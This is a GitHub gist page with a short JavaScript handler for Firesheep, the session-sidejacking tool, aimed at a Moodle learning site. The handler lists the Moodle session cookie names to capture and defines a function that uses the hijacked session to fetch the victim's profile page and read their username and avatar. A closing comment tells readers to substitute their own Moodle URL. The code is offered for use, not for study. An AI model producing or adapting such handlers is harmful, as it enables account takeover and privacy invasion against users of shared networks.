Created
November 19, 2010 22:47
-
-
Save BinaryMuse/707345 to your computer and use it in GitHub Desktop.
FireSheep handler for Moodle
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
register({ | |
name: 'moodle.domain.com', | |
url: 'http://moodle.domain.com/', | |
icon: 'http://moodle.domain.com/theme/mytheme/favicon.ico', | |
domains: [ 'moodle.domain.com' ], | |
sessionCookieNames: [ 'MoodleSession', 'MoodleSessionTest' ], | |
identifyUser: function() { | |
var site = this.httpGet('http://moodle.domain.com/user/view.php'); | |
this.userName = site.body.querySelector('div.logininfo a').text; | |
this.userAvatar = site.body.querySelector('img.userpicture').src; | |
} | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://github.com/codebutler/firesheep/wiki/Writing-Handlers for more information. The selectors in
identifyUser
may be different depending on your version of Moodle or the theme you're using. Replace all instances ofmoodle.domain.com
with your own URL, obviously.